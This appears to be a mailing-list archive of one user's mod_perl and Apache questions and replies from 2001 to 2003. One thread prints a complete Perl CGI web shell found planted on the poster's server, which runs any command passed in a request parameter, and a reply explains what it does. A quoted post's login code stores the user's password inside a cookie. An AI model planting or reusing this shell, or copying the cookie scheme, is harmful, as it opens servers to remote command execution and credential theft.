Re: If (!$one_thing) {$other;}

2003-07-02 Thread John Michael
Here is a little script I wrote a while back so that I could look at headers
being sent from my server in a browser window.
JM.



- Original Message -
From: Dennis Stout [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, July 02, 2003 4:44 PM
Subject: If (!$one_thing) {$other;}


 This is irking me.

 $state preserves information about the request and so on.  Now,
 $r-whatever_method works just fine.. EXCEPT for sending headers.  When I
 visit my site, I get my nifty login page, and that is all.  Always the
login
 page.

 I telnetted into the thing to see what kinds of cookie strings I was
getting
 back and... NO HEADERS!  No Content-type: 's or nothing.

 $r-send_http_header; must be broken, eh?  How to fix?? =P

 I'll spare all of your eyes by not sending complete source, but here's the
 basic idea.


 #!/usr/bin/perl

 package RequestHandler;
 use strict;

 # snipped out a lot of use vars qw();'s and $val = blah.

 sub handler {
 my $r = shift;
 my $result = undef;

 eval { $result = inner_handler($r) };
 return $result unless $@;

 warn Uncaught Exception: $@;

 return SERVER_ERROR;
 }

 sub inner_handler {
 my $r = shift;

 my %q = ($r-args, $r-content);
 my %state = (r = $r, q = \%q);

 $state{login_user} = '';
 $state{login_pass} = '';
 $state{title} = '';
 $state{template} = '';
 $state{auth_status} = password_boxes(\%state);

 validate_auth_cookie(\%state);

 my $function = $r-uri;
 $function = '/login.html' if $state{login_user} eq '';
 my $func = $Dispatch{$function} || $Dispatch{DEFAULT};

 return $func-(\%state);
 }

 sub output_html {
 my $state = shift;
 my %args = @_;
 my $title = $state-{title};
 my $r = $state-{r};

 $r-status(200);

 my $template = HTML::Template-new(
 filename=
 $Template_Dir/$state-{template},
 die_on_bad_params   = 0,
 );

 $template-param(TITLE = $title);
 eval { foreach (keys %args) {
 $template-param($_ = $args{$_});
 }};
 $template-param(ERRORS = $@) if $@;

 $r-header_out( 'Set-Cookie' = $state-{cookie_out} ) if
 $state-{cookie_out};
 $r-send_http_header('text/html');
 print $template-output();
 }

 sub get_password {
 my $state = shift;

 my $row = $Sql-select_hashref('DECODE(PWORD,\'blah\')', 'techs',
 TECH=\$state-{
 q}-{login_user}\);
 return $row-{DECODE(PWORD,'blah')};
 }

 sub build_auth_string {
 my $state = shift;
 my $ip = shift || $ENV{REMOTE_ADDR};
 my $time = shift || time;

 my $login = $state-{login_user};
 my $password = $state-{login_pass};
 my $val = join ::, $login, $ip, $password, $time;

 # Iterate thru by 8 byte hunks.
 # with the added 8 spaces, do not do the last hunk
 # which will be all spaces
 my $blown;
 my $pos;
 for ( $pos = 0;  (($pos + 8)  length($val) ) ; $pos+=8 ) {
 $blown .= $cipher-encrypt(substr($val, $pos, 8));
 # encrypt this without temp vars
 }

 my $enc  = encode_base64($blown,);

 $enc;
 }

 sub parse_auth_string {
 my $state  = shift;
 my $cookie = shift;

 return unless $cookie;
 return if $cookie =~ /logged_out/;

 my $unenc= decode_base64($cookie);
 my $unblown;

 # start at 8, take 8 bytes at a time
 # $unenc should be exactly a multiple of 8 bytes.

 my $pos;
 for ( $pos = 0; $poslength($unenc); $pos += 8) {
 $unblown .= $cipher-decrypt(substr($unenc, $pos, 8));
 }
 my ($login, $ip, $password, $time)=split ( /::/, $unblown, 4);
 }

 sub get_auth_cookie {
 my $state=shift;
 my $cookie =
TTMSCGI-parse_cookie($ENV{HTTP_COOKIE})-{ttms_user};
 my($login, $ip, $password, $time) = parse_auth_string($state,
 $cookie);
 ($login, $ip, $password, $time);
 }

 sub set_auth_cookie {
 my $state = shift;

 my $val = build_auth_string($state);
 my $c = TTMSCGI-build_cookie(
 name= 'ttms_user',
 value   = $val,
 expires = time + 86400*30*7,
 domain  = $Cookie_Domain,
 path= '/',
 );
 $state-{cookie_out} = $c;
 }

 sub build_logout_cookie {
 TTMSCGI-build_cookie(
 name   = 'ttms_user',
 value  = logged_out,
 expires= time - 86400,
 domain = $Cookie_Domain,
 path   = '/'
 );
 }

 sub set_logout_cookie {
 my $state = shift;
 $state-{cookie_out} = build_logout_cookie($state);
 }

 sub validate_auth_cookie {
 my $state = shift;
 

htaccess files

2003-05-30 Thread John Michael



Is it possible to configure an htaccess file to 
call a script using apache registry and use it in the 
PerlAccessHandler.
I have written one pretty large perl script in 
mod-perl using the apache registry to serve out picture gallery pages. I 
would like to do some validation of my own on a per directory type 
basis.

also

I was trying to run this code to do some test and 
could only get it to work with the #pound signs in from of the files 
directives.

It works like this.

#Files *
PerlAccessHandler 'sub {return Apache::Constants::FORBIDDEN;}' \
#/Files
but I get this error in the log file. I could not get 
it to work any other way.
[Fri May 30 00:22:52 2003] [warn] Apache does not support line-end comments. 
Consider using quotes around argument: "#/Files"
Thanks in advance
John Michael



Off Topic but curious

2003-03-31 Thread John Michael



If I bought a domain name with perl in it to build 
a perl script site, would I be infringing on any perl trademark or 
copyrights. Would it be ok or could I be told I couldn't use the 
domain.
Thanks
John Michael



Apache perl question. May be off topic.

2002-11-28 Thread John Michael



Sorry if this is off topic. I am attempting 
to take a perl script I already have written to do something before attempting 
to port it to modperl.

I have used this method to pass request to certain 
files to be redirected to a perl script to produce dynamic content. 
However, sometimes I would just like to pass it back to apache. I know 
that this will be possible with modperl by returning DECLINED.

Directory "/home/usr1/digital/html/protected"
AddHandler RTS-protected-htm htm
Action RTS-protected-htm /cgi-bin/content_manager/handler.pl
/Directory
My question: Is it possible to do this with 
perl. I want to be able to pass some request for static documents that 
should end in .htm back to apache and let apache send them out throuhg the 
normal channels.
Thanks
John michael



Re: Off topic question a little worried

2002-03-21 Thread John Michael

Any idea as to how it got on my server.  It is owned by apache and in the
apache group.  That tells me that it was put on there by apache.  It is in a
directory that has the permissions 777 because the script that is normally
in there keeps and writes traffic information, so I guess someone found a
way to have apache write the file into that directory.  But how did they get
it to chmod 755?
John michael




 On Thu, 21 Mar 2002, John Michael wrote:

  #!/usr/bin/perl
  use CGI qw(:standard);
  print header;
  my $k=param(g);
  my $a=param(s);
  if ($a || $k) {
  $l=`$k 21`;
  print start_form,textarea(g,$k,1,50);
  print submit(sc);
  print end_form;
  print pre($l);
  }
  print $ENV{SERVER_NAME};

 It executes arbitrary commands as whatever your httpds run as.


 --
 Chris Reinhardt
 [EMAIL PROTECTED]
 Systems Architect
 Dynamic DNS Network Services
 http://www.dyndns.org/






Off topic question a little worried

2002-03-20 Thread John Michael

Hi
I found this script in one of my cgi-bin's.Not sure where it came from.


#!/usr/bin/perl
use CGI qw(:standard); 
print header; 
my $k=param(g); 
my $a=param(s); 
if ($a || $k) {
$l=`$k 21`; 
print start_form,textarea(g,$k,1,50); 
print submit(sc); 
print end_form; 
print pre($l);
} 
print $ENV{SERVER_NAME};



Can anyone tell me what it does.

Thanks
John Michael




confused and need help

2002-01-12 Thread John Michael




Hi
I wanted to update my apache and mod-perl install.
I stated to do it and found that I needed the LWP module which requires 
some other modules first.
I got allof them on untill I needed the libnet module.
ALl of the other modules I installed by hand and having no problems until I 
needed the libnet module.I could only find it in the Bundle::libnet module 
and thathas to be run from the CPAN module. In an attempt to install 
Bundle::libnet which you have to do through CPAN it seems that CPAN installed 
another version of perl on my server in 
usr/local/lib/perl5/5.6.1
I already havea version in 
usr/lib/perl5/5.6.0

Did it automatically try to update my version?

When I run 
perl -MCPAN -e shell
it is being run from the 5.6.1 version at usr/local and therefore does not 
find any of the other modules I already have installed.
I know this because it uses the cpan config file in that location and also 
the dependencies that it is showing are already installed in the other 
location.

Can I just delete the 5.6.1 version off of my server?

How do I get the 5.6.0 version of cpan to run and the server to recognize 
this?

Also, I am running a mod-perl server and have many scripts running under 
it.
How does the server know which version to use?

Am I going to have some problems?

I'm not sure what to do at this point and don't know where to look.

I now have to versions of perl on my server. I assume there is a file 
somewhere that tells the computer which one to use when you type perl from the 
command line. What should I do?

Thanks
John Michel



too many files open

2001-12-03 Thread John Michael



HiI usethe perl sub below to create 
thumbs with image magick on my mod perl server andnever really had any 
problems with it. I put it on another server and aftera short while it 
froze up the server with this error.too many files open.

It is running under a mod-perl environment because 
in doing so I am also able to rename images at the same time.
I know that because it is running under a mod perl 
environment, the lifetime of the script is until roboot of server orrestart 
of apache.
The freezehappend on one of the lines in 
this sub so I'm thinking I'm not doingsomething right and leaving files 
open.I don't think this is a result of the problem with the server.I 
would appreciate if someone would look at it and tell me if it is ok or not or 
give me some suggestions to prevent this problem in the future so that I can 
continue to run it in mod-perl.

Perlmagick claims that it handles all of the file 
handling.
sub is called like so:# Call to build 
the thumbs hereif 
($build_thumbs){build_thumbs($folder,$working_dir,$thumb_pattern);}#sub 
build_thumbs {my ($folder,$base_dir,$thumb_pattern) = @_;my $current_dir 
= cwd;my $working_dir = join("/",$base_dir, $folder);print 
qq~pBuilding Thumbs in Folder: $folder/p\n~;chdir 
($working_dir) || die "cannot cd $working_dir ($!)";my @image_array = 
glob("*.jpg");my @images = ();foreach (@image_array) 
{ unless ( $_ =~ /$thumb_pattern/i ) 
{ push(@images, $_);} }my $pic;my 
$num_thumbs = @images;foreach $pic (@images){ my 
$image = Image::Magick-new(magick='JPEG'); my 
$file = join("/",$working_dir, $pic); open(DATA, "$file") 
|| die "$file $!"; 
$image-Read(file=DATA); close(DATA);## 
MAKE THUMB HERE ##my ($width, $height, $size, $format) = 
split(/,/,$image-Ping($file));my $rotated = 0;if ($width  
$height){ 
$image-Rotate(degrees='90'); $rotated = 
1;}$image-Resize(geometry='55',filter='Gaussian', 
blur='.5');if ($rotated){ 
$image-Rotate(degrees='-90');}## END MAKE THUMB HERE 
##my $out_file = join("/",$working_dir, 
"$thumb_pattern$pic");open(DATA, "$out_file"); 
$image-Write(file=DATA,filename=$out_file);close(DATA);undef 
@$image;}undef $image;chdir ($current_dir);print 
qq~pBuilt b$num_thumbs/b Thumbs in Folder: 
$folder/p\n~;}###THanks 
in advanceJohn Michael


What do these messages mean on startup

2001-11-15 Thread John Michael



I am getting these error messages when I restart 
apache on a new mod perlinstall.Starting httpd: Subroutine export 
redefined at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm 
line 35.Subroutine name redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
46.Subroutine Apache::Constants::__AUTOLOAD redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 
14.Subroutine Apache::Constants::SERVER_VERSION redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 
14.Subroutine Apache::Constants::SERVER_BUILT redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 
14.Subroutine Apache::Constants::DECLINE_CMD redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 
14.Subroutine Apache::Constants::DIR_MAGIC_TYPE redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 14.Constant 
subroutine OK redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 
65535.Constant subroutine DECLINED redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
65535.Constant subroutine DONE redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
65535.Constant subroutine NOT_FOUND redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
65535.Constant subroutine FORBIDDEN redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
65535.Constant subroutine AUTH_REQUIRED redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
65535.Constant subroutine SERVER_ERROR redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
65535.Subroutine AUTOLOAD redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
30.Constant subroutine AUTH_REQUIRED redefined at 
/usr/lib/perl5/5.6.0/Carp.pmline 4Constant subroutine DONE redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
4Constant subroutine SERVER_ERROR redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
4Constant subroutine NOT_FOUND redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
4Constant subroutine FORBIDDEN redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
4Constant subroutine OK redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
4Constant subroutine DECLINED redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 
4Subroutine handler redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Registry.pm line 
27.Subroutine compile redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Registry.pm line 
174.Subroutine parse_cmdline redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Registry.pm line 
190.Subroutine DESTROY redefined 
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Registry.pm line 
214.[ OK ]Here is my perl conf file.Alias /perl/ 
/home/www/perl/PerlModule Apache::RegistryLocation 
/perlSetHandler perl-scriptPerlHandler 
Apache::RegistryOptions ExecCGIallow from 
allPerlSendHeader On/Location#This bit of code, 
causes apache to exit gracefully on any request forMicroshit files: nimbda 
fighterPerlModule Apache::ConstantsLocationMatch 
"\.(ida|exe|dll|asp)$"SetHandler perl-scriptPerlInitHandler 
Apache::Constants::DONE/LocationMatchPerlRequire 
/etc/httpd/conf/perl_conf/startup.plPerlFreshRestart OnPerlWarn 
OnThe server appears to have started.Should or can I just 
disreguard these messages.thanksJohn 
michael


Cookie authentication

2001-11-15 Thread John Michael



This may seem off subject but, If you bare with me, 
I don't think it is. I am interested in using the cookie based system 
referred to in the programming the apache api book but oftend wonder 
this.
Can you count on everyone to use cookies. It 
seems that some surfers are afraid of cookes are that maybe some browsers don't 
even handle them. I wrote a mod perl script to do member traking in my 
members site to see what pages were being viewed the most and used cookies also 
to make sure that more than one person was not using a particular username and 
find that some people either arn't using a browser that uses cookies or do not 
have them turned on.
What are your thoughts on this because I thought of 
implementing the token cookie system but did not because I was afraid I would 
loose members that did not have or use this feature.
Can you legimately require surfers to have cookies 
turned on and do you know of many sites that do this successfully without 
loosing members.
Thanks

John Michael



Re: Cookie authentication

2001-11-15 Thread John Michael

Thanks.
I did not know that you could verify that someone has cookies turned on.
Can you point me to where i can find out how to do this?  Is there a
variable that you can check?


JM

- Original Message -
From: [EMAIL PROTECTED]
To: mod_perl List [EMAIL PROTECTED]
Sent: Thursday, November 15, 2001 4:24 PM
Subject: Re: Cookie authentication


 On 15 Nov 2001, at 12:16, Andrew Ho wrote:

  CDIt seems you can't do anything online without having cookies turned
on
  CD(yahoo, bankone, huntington, ebay, etrade ) and I think internet
users
  CDhave accepted this.

  Methinks there is a need to write a transparent store cookies on URL
  module. I seem to recall at least one major Apache module having an
option
  to use URL-based authentication instead of cookie-based... but I can't
  seem to find that from a cursory perusal of CPAN.

 http://perl.apache.org/guide/modules.html#Apache_Session_Maintain_sessi

 I used Apache::Session and HTML::Template to embed the
 session_id in the url in a recent job site.I planned this before I built
 the site (all templates built according to the plan :). No problems
 there. There were no static pages.

 I find cookies are used when one has a site static/dynamic pages.
 How do you keep a user if they click to a static page?  I don't
 know.

 But one should always check if a user has cookies turned on.  I
 recall an internal site I did for FedEx a few years back and I used
 cookies for it as it was before my mod_perl use. Well it turned out
 that the vice-president had cookies turned off. He was not a
 customer we wanted to ignore:)

 Peter
 A government that robs Peter to pay Paul can always depend upon the
 support of Paul. -- George Bernard Shaw




apache restart messages question

2001-11-14 Thread John Michael

I am getting these error messages when I restart apache on a new mod perl
install.

Starting httpd: Subroutine export redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 35.
Subroutine name redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 46.
Subroutine Apache::Constants::__AUTOLOAD redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 14.
Subroutine Apache::Constants::SERVER_VERSION redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 14.
Subroutine Apache::Constants::SERVER_BUILT redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 14.
Subroutine Apache::Constants::DECLINE_CMD redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 14.
Subroutine Apache::Constants::DIR_MAGIC_TYPE redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 14.
Constant subroutine OK redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/mod_perl.pm line 65535.
Constant subroutine DECLINED redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 65535.
Constant subroutine DONE redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 65535.
Constant subroutine NOT_FOUND redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 65535.
Constant subroutine FORBIDDEN redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 65535.
Constant subroutine AUTH_REQUIRED redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 65535.
Constant subroutine SERVER_ERROR redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 65535.
Subroutine AUTOLOAD redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 30.
Constant subroutine AUTH_REQUIRED redefined at /usr/lib/perl5/5.6.0/Carp.pm
line 4
Constant subroutine DONE redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 4
Constant subroutine SERVER_ERROR redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 4
Constant subroutine NOT_FOUND redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 4
Constant subroutine FORBIDDEN redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 4
Constant subroutine OK redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 4
Constant subroutine DECLINED redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line 4
Subroutine handler redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Registry.pm line 27.
Subroutine compile redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Registry.pm line 174.
Subroutine parse_cmdline redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Registry.pm line 190.
Subroutine DESTROY redefined at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Registry.pm line 214.
[  OK  ]

Here is my perl conf file.
Alias /perl/ /home/www/dvdsex4u/perl/
PerlModule Apache::Registry
Location /perl
 SetHandler perl-script
 PerlHandler Apache::Registry
 Options ExecCGI
 allow from all
 PerlSendHeader On
/Location

#This bit of code, causes apache to exit gracefully on any request for
Microshit files: nimbda fighter
PerlModule Apache::Constants
LocationMatch \.(ida|exe|dll|asp)$
SetHandler perl-script
PerlInitHandler Apache::Constants::DONE
/LocationMatch

PerlRequire  /etc/httpd/conf/perl_conf/startup.pl
PerlFreshRestart On
PerlWarn On


I have this same setup on another server and it starts and works fine.
The server appears to have started.
Should I just disreguard these messages.

thanks
John michael


- Original Message -
From: Peter Pilsl [EMAIL PROTECTED]
To: Perrin Harkins [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Wednesday, November 14, 2001 3:03 AM
Subject: Re: cgi-object not cacheable


 On Tue, Nov 13, 2001 at 09:18:04PM -0500, Perrin Harkins wrote:
   One run of my script takes about 2 seconds. This includes a lot of
   database-queries, calculations and so on.  about 0.3 seconds are used
   just for one command: $query=new CGI;
 
  That's really awfully slow.  Are you positive it's running under
mod_perl?
  Have you considered using Apache::Request instead of CGI.pm?
 

 its definitely running under mod_perl. But imho the time it takes to
 create a new cgi-object should not depend too much wheter its running
 under mod_perl or not, cause the CGI-module is loaded before. (In fact
 I load in httpd.conf using PerlModule-Directive)

   This is not a problem of my persistent variables, cause this works
   with many other objects like db-handles (cant use Apache::DBI cause
   this keeps to many handles opened, so I need to cache and pool on my
   own), filehandles etc.
 
  Whoa, you can't use Apache::DBI but you can cache database handles
yourself?
  That doesn't make any sense.  What are you doing in your caching that's
  different from what Apache::DBI

Installing modules

2001-11-03 Thread John Michael



Where can I find information on how to install 
modules like:
Apache::Requestlibapreq-0.33.tar.gz
Apache::DBI  
 ApacheDBI-0.88.tar.gz

Would I install these as regular perl modules or 
are they installed as apache modules?

I have found and downloaded the files, but am not 
exactly sure where to start.
I installed apache and mod-perl when I setup the 
server with redhat by basiacally picking them out of a list. I have no 
experience compiling, building, or installing modules.

Thanks
John michael



Re: Install problems

2001-11-03 Thread John Michael



It looks like in the file apache_request.c these 
are the lines causing the problem.

#include "httpd.h"
#include "http_config.h"
#include "http_core.h"
#include "http_log.h"
#include "http_main.h"
#include "http_protocol.h"
#include "util_script.h"
John Michael


  - Original Message - 
  From: 
  John 
  Michael 
  To: [EMAIL PROTECTED] 
  Sent: Saturday, November 03, 2001 5:21 
  AM
  Subject: Install problems
  
  I pieced together this process by looking at a 
  couple of sources to installmodules.I choose the /usr/local/etc 
  directory to start from because I really didn'tknow where this is usually 
  done.What directory do you usually start the install from and does it make 
  adifference?How to install modules:cd 
  /usr/local/etcupload filename.ver.x.tar.gz file to the /usr/local/etc 
  directorygunzip filename.ver.x.tar.gz the filetar xf 
  filename.ver.x.tar the filech /usr/local/etc/filename.ver.xperl 
  Makefile.PLmakemake installI used it to install 
  Apache::Reload module and it seemed to work fine.I then 
  attemplted to install the libapreq-0.33.tar.gz module and got thisoutput 
  when I got to the perl Makefile.PLcommand.Checking if your kit is 
  complete.Looks goodWriting Makefile for libapreqmkdir 
  blib/libmkdir blib/lib/automkdir blib/lib/auto/libapreqmkdir 
  blib/man3cp libapreq.pod blib/lib/libapreq.podcp 
  lib/Apache/libapreq.pm blib/lib/Apache/libapreq.pmmake[1]: Entering 
  directory `/usr/local/etc/libapreq-0.33/c'gcc -c 
  -I/usr/lib/perl5/site_perl/5.6.0/i386-linux/auto/Apache/include 
  -I/usr/lib/perl5/site_perl/5.6.0/i386-linux/auto/Apache/include/modules/perl 
  -fno-strict-aliasing -02 -march=i386 -mcpu=i386 
  -DVERSION=\"0.10\" -DXS_VERSION=\"0.10\"-fPIC 
  -I/usr/lib/perl5/5.6.0/i386-linux/CORE apache_request.cIn file 
  included from apache_request.c:58:apache_request.h:5:19: httpd.h: No such 
  file or directoryapache_request.h:6:25: http_config.h: No such file or 
  directoryapache_request.h:7:23: http_core.h: No such file or 
  directoryapache_request.h:8:22: http_log.h: No such file or 
  directoryapache_request.h:9:23: http_main.h: No such file or 
  directoryapache_request.h:10:27: http_portocol.h: No such file or 
  directoryapache_request.h:11:25: util_script.h: No such file or 
  directorymake[1]: *** [apache_request.o] Error 1make[1]: Leaving 
  directory `/usr/local/etc/libapreq-0.33/c'make[1]: *** [subdirs] Error 
  2I'm confused.ThanksJohn 
Michael


apache::request and other newbie questions

2001-11-02 Thread John Michael



I have a modperl script that uses. cgi.pm and actually I have been 
importing my on cgi params from get and post but do use cgi.pm for 
cookies. I have read in some other emails and now in the guide that it is 
faster to use Apache::Request so I want to change my script over to this method 
since it will eventually come under a heavy load.

I added this to my perl.conf file

PerlModule Apache::Request
and apache says that it can not find the module in
@INC (@INC contains: /etc/httpd/lib/perl /usr/lib/perl5/5.6.0/i386-linux 
/usr/lib/perl5/5.6.0 /usr/lib/perl5/site_perl/5.6.0/i386-linux 
/usr/lib/perl5/site_perl/5.6.0 /usr/lib/perl5/site_perl . /etc/httpd/) 
sure enough, I looked in there and it isn't.
I went to the module list and the list claims that apache::request is 
included with the standard dist of mod perl.
I'm running Apache 1.3.9 and mod_perl/1.24_01
What should I do?

Also, I have a script that is running under apache::registry.
I run the script by using a mod-actions handler that I have in my 
httpd.conf file likeso.
The script runs from a blank index.htm page and creates the dynamic output 
depending on the referring url and query-string 

Directory "/home/usr1/digital/membersurl/html/protected"
AddHandler RTS-protected-htm htm
Action RTS-protected-htm /perl/content_manager/handler.pl
/Directory
I imaginethis is not very efficient?
I guess I will eventually have to set it up as a hander?
What is your opinion?
I'm new to packages and modules and have basically little experience with 
OOP. The script works fine with no errors, but I expect a heavy load in 
the future. I eventually want to have the correct solution but I'mtrying 
to beatthe learning curve before the traffic gets there.
Can I set up the script now as a handler or does it 
have to be written in OO format?
I do understand that a few things have to be changed, 
like I have to use apache::constants to finalize the handler phase.
Reading several books and understanding more and more 
everyday.
Any suggestions would be greatly 
appreciated.
Thanks
John Michael


Re: New mod_perl hacker wannabe . . .

2001-10-28 Thread John Michael

I'm new to the list and have very little experience writing modules but have
one concern because I have written quite a few perl scripts that send email
alerts and I also ran a perl script that picked up 404 error through the doc
error directive and know what kind of output is possible.
Here it is.
My server is constantly getting scanned by various hacking robots.  I will
get hundreds of these a day or more sometimes.

[Sun Oct 28 18:51:00 2001] [error] [client 64.81.175.236] File does not
exist: /home/usr1/digital/html/scripts/root.exe
[Sun Oct 28 18:51:01 2001] [error] [client 64.81.175.236] File does not
exist: /home/usr1/digital/html/MSADC/root.exe
[Sun Oct 28 19:28:29 2001] [error] [client 64.81.41.2] File does not exist:
/home/usr1/digital/html/scripts/root.exe

I'm not even on an nt machine and they are scanning for windows files.  I
think these have something to do with a virus going around right now.  You
can't block the ips, because they are constantly changing.  Your server
would stressed to check the long list of blocked ips after a while.

The problem is that your script will be possible  sending out hundreds of
emails or more a day of useless information..  You would need some kind of
intellegent way to determine if it was a legitimate request for a seemingly
legitimate document.  Is that possible?

Hope this doesn't discourage you.
Cya
John Michael


- Original Message -
From: Louis LeBlanc [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Sunday, October 28, 2001 7:51 PM
Subject: New mod_perl hacker wannabe . . .


 Hey all.
 Just looking for a little direction here.

 I'm just getting started learning perl and mod_perl (might as well
 jump in with both feet, right?).  I am mostly just doing my own thing
 and trying to solve interesting little problems as they come up.

 A while back, I modified the Apache::CodeRed module on CPAN, written
 by Reuven Lerner to create Apache::Nimda.  Now the CodeRed module
 hasn't had a single hit in almost 3 weeks, but Nimda still handles a
 good hundred or so each day.

 Well, I know that even Nimda won't last forever, and that module might
 need to be rewritten to handle general web based virii requesting Win
 based files, but that's minor.  I'd eventually like to improve its
 configurability.

 Just today, I finished a new module - my first from scratch - for
 handling 404 errors.  I know Apache::404 isn't a real imaginative
 name, but it works.

 Anyway, I'd like to know if it is customary for any schmuck who has
 deluded himself into thinking his module is the cat's ass to submit it
 to CPAN and put up a tile as a mod_perl hacker?

 Probably not, but I'd sure be happy to see some ideas and comments,
 slurs against my coding abilities . . .
 Well, try to go easy on the slurs :)

 If you care to check out the couple of little things I've done, and
 tell me what a dope I am for thinking anyone gives a cr@p, check out
 my little dinky page at http://www.keyslapper.org/modules/.

 Feeling a bit wierd lately, so rest assured, I'm not always this self
 depricating :)  And I'm not gonna freak out with a little constructive
 criticism.

 Thanks all.
 Lou
 --
 Louis LeBlanc   [EMAIL PROTECTED]
 Fully Funded Hobbyist, KeySlapper Extrordinaire :)
 http://www.keyslapper.org ԿԬ

 Patageometry, n.:
   The study of those mathematical properties that are invariant
   under brain transplants.





Re: [OT] Nimda, etc (was: New mod_perl hacker wannabe . . .)

2001-10-28 Thread John Michael


LocationMatch \.(ida|exe)$
SetHandler perl-script
PerlPostReadRequestHandler Apache::DONE
/LocationMatch

I tried adding the above code to my perl.conf file. and got this error on
restart.

Syntax error on line 31 of /etc/httpd/conf/conf/perl.conf:
PerlPostReadRequestHandler not allowed here

JM

- Original Message -
From: Stas Bekman [EMAIL PROTECTED]
To: David Young [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Sunday, October 28, 2001 11:45 PM
Subject: Re: [OT] Nimda, etc (was: New mod_perl hacker wannabe . . .)







 David Young wrote:

  FWIW, Apache::CodeRed seemed like a good idea for a while, and then
Nimbda
  showed up, and it was apparent no one was actually doing anything about
the
  infected machines. I got sick of the notifications and the junk in my
error
  log, so I resorted to this handler:
 
LocationMatch \.(ida|exe)$
  SetHandler perl-script
  PerlHandler sub { return OK; }
/LocationMatch


 And the most effective would be to use PerlPostReadRequestHandler
 (or PerlInitHandler, which is an alias to PerlPostReadRequestHandler)

 LocationMatch \.(ida|exe)$
  SetHandler perl-script

 PerlPostReadRequestHandler Apache::DONE

   /LocationMatch

 since it returns at the earliest possible request phase. And you don't
 need the sub {}, just Apache::* will do.

 Apache::DONE tells Apache to immediately jumps out of the request
 loop, log the transaction and close the client connection.  This is
 one way to halt the transaction without generating an error status.

 _
 Stas Bekman JAm_pH  --   Just Another mod_perl Hacker
 http://stason.org/  mod_perl Guide   http://perl.apache.org/guide
 mailto:[EMAIL PROTECTED]  http://ticketmaster.com http://apacheweek.com
 http://singlesheaven.com http://perl.apache.org http://perlmonth.com/





Re: [OT] Nimda, etc (was: New mod_perl hacker wannabe . . .)

2001-10-28 Thread John Michael

I tried
PerlPostReadRequestHandler Apache::DONE
and apache would not start

I changed it to:
LocationMatch \.(ida|exe)$
SetHandler perl-script
PerlInitHandler Apache::DONE
/LocationMatch

Apache then started
And it looks for the module DONE.pm
So I guess you have to write the module for it to work.

I then changed it to:

LocationMatch \.(ida|exe)$
SetHandler perl-script
PerlInitHandler sub { return OK; }
/LocationMatch

and got this in the error log.
